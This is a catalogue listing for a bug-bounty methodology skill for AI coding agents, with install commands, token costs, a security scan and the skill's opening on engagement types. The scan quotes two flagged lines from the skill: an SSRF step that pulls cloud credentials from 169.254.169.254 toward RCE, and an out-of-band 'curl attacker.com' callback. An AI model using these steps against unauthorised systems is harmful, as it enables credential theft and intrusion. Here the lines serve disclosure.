bb-methodology

bb-methodology is a skill for Claude Code, Codex from leecyno1/boutique-skills. It costs 90 tokens per session (7,321 once invoked), scanned C, a copy of bb-methodology, MIT.

A structured workflow for bug-bounty and security-testing work. It first distinguishes a bug bounty from a red-team engagement or penetration test, because each accepts different kinds of findings.

In plain words
What is it for?
Use it to organize a hunting session, choose a target, test assumptions, investigate unusual behavior, and decide whether a finding has enough real-world impact to report.
Why use it?
It helps prevent wasted effort on issues that are outside the engagement rules and provides a method for deciding what to investigate and report.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it to organize a hunting session, choose a target, test assumptions, investigate unusual behavior, and decide whether a finding has enough real-world impact to report.

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Install with agentmods
npx agentmods add skills/leecyno1/boutique-skills/bb-methodology
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add leecyno1/boutique-skills --skill bb-methodology
Clone the repo
git clone --depth 1 https://github.com/leecyno1/boutique-skills

Made for: Claude Code, Codex.

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Per session 90 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 7,321 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00090 $0.07321
Opus 5.5 $0.00036 $0.02928
Sonnet 5.5 $0.00018 $0.01464
Haiku 4.5 $0.00009 $0.00732

Measured 17d ago against content hash 687af8873d83, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade C, and why

bb-methodology scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 17d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointhighServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

| +-- Can reach 169.254.169.254? -> Extract keys -> RCE

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

3. No time diff? OOB (`curl attacker.com`, interactsh) -- watch for DNS callback
Origin

This is a copy

100% identical to bb-methodology — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/default/bb-methodology/SKILL.md · 514 lines

How it starts

The opening of the file, as written. The whole thing — 514 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Bug Bounty Methodology: Workflow + Mindset

Master orchestrator for hunting sessions. Combines the 5-phase non-linear workflow with the critical thinking framework that separates top 1% hunters from the rest.


PART 0: MODE CONFIRMATION (Before Anything Else)

Confirm the engagement type before deciding what counts as a finding. The same target produces a different report shape depending on which mode applies. Getting this wrong is the single biggest waste of time in this workflow — answer it explicitly before Phase 0.

Engagement type What counts as a finding What gets rejected
Bug bounty (H1 / Bugcrowd / Intigriti / private VDP) Impact-demonstrated bugs ONLY. Full chain to attacker-attainable harm. Hygiene (EoL software alone, permissive CSP alone, stack traces, info disclosure without concrete impact, "best practice" violations)
Red team (external client engagement) Hygiene findings + recon + IoCs + defensive-state observations are ALL deliverables Nothing — even "no finding here" is reportable as a positive defensive observation
Pentest (signed SoW / WAPT) Depends on SoW. Read scope explicitly. Usually accepts hygiene + impact + recon Out-of-scope assets, unsigned testing
Internal audit Compliance-mapped findings (PCI / ISO / NIST / DPDPA / GDPR) Findings without a control-mapping

Hard rule: Before Phase 0 runs, write the engagement type as the first line in your hunt notes. If you can't answer it from the user's instruction, ASK once. Don't assume — the mistake costs both you and the triager.

Lesson from an authorized engagement: First-pass on this target produced 5 hygiene findings (SP2013 EoL, permissive CSP, stack traces) shipped in red-team format. The engagement was bug-bounty. Findings would have been N/A'd as "informational, no impact demonstrated." After the corrected pass with hygiene-as-context-not-finding, the same target yielded 11 impact-demonstrated bugs including 3 Critical.

Read the full file on GitHub · 514 lines

Files

What ships with it

1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 17d ago First seen · 514 lines · 90 tokens per session scan C 687af8873d83

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bb-methodology is a skill published in the GitHub repository leecyno1/boutique-skills (5 stars, last pushed 18d ago), licensed MIT. It adds 90 tokens to every session and 7,321 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it C with 2 findings (cloud metadata endpoint, makes network calls). It is 100% identical to bb-methodology, differing in 0 lines, and is treated as a copy.

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